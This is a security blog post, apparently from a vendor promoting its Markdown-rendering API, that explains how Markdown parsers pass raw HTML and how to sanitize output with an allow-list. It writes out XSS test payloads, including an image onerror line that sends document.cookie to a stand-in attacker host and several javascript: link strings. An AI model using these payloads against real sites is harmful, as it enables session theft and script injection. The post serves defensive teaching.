Why Markdown Is Not Safe by Default: XSS in Rendered Markdown
By VeloForge Labs · · 3 min read
Markdown looks harmless. It is plain text with a few symbols. But the moment you turn Markdown into HTML and show it to other people, you have a cross-site scripting (XSS) problem to solve, because most Markdown parsers deliberately let raw HTML through.
Markdown allows raw HTML
The CommonMark specification says that raw HTML inside a Markdown document is allowed and should be passed along to the output. That is a feature: it lets writers use an HTML tag when Markdown syntax is not enough. It is also an open door. This input is valid Markdown:
Thanks for the great post!
<img src="x" onerror="fetch('https://evil.example/steal?c=' + document.cookie)">
A parser that follows the spec produces an <img> tag with the onerror attribute intact. When a reader's browser fails to load the image, it runs the attacker's JavaScript with the privileges of your page.
Popular parsers such as marked do not sanitize their output. The marked project states this plainly in its documentation and tells you to run the result through a sanitizer.
Three places XSS hides
1. Inline HTML. <script> tags are the classic example, but event handler attributes (onerror, onload, onclick) and tags like <iframe> and <svg> are just as dangerous and easier to overlook.
2. Dangerous link schemes. Plain Markdown syntax can carry an attack, no HTML needed:
[Click for a free gift](javascript:alert(document.domain))
If the parser outputs <a href="javascript:...">, clicking the link runs the code. The same goes for data: URLs in links.
3. Images and embedded content. Image URLs can point at tracking pixels, and in some contexts a data: URL can carry active content. At a minimum, decide deliberately which URL schemes you accept.
Why "just escape it" is not enough
If you escape all HTML, your users lose legitimate formatting that Markdown itself generates, such as tables and headings. You need the generated tags, and you need to remove only the dangerous ones. That is the job of an HTML sanitizer working from an allow-list: a list of tags, attributes and URL schemes you explicitly permit. Everything not on the list is dropped.
Block-lists ("remove script tags") fail because attackers have far more tricks than defenders have patterns. An allow-list fails closed: a new, unknown attack vector is blocked by default.
What a safe pipeline looks like
- Parse Markdown to HTML.
- Sanitize that HTML with an allow-list.
- Only then store or render it.
Order matters. Sanitize the final HTML, not the Markdown source. The parser's output is what the browser will actually interpret.
TexToolsAI runs exactly this pipeline in one call. It parses with marked and then cleans the result with sanitize-html. Tags outside the allow-list are discarded, and links and images are limited to http, https and mailto (images may also use data:). Test it yourself in the playground by pasting the examples above, or read the API reference.
A quick self-test
Run these through whatever pipeline you use today and look at the HTML that comes out:
<script>alert(1)</script><img src=x onerror=alert(1)>[x](javascript:alert(1))<a href="JaVaScRiPt:alert(1)">x</a>
If any of them survives into the output with the dangerous part intact, you have a hole. For a comparison of the two most common sanitizers, see sanitize-html vs DOMPurify.
Summary
Markdown is a text format, not a security boundary. Treat parser output as untrusted HTML, sanitize it with an allow-list after conversion, and test with real attack strings.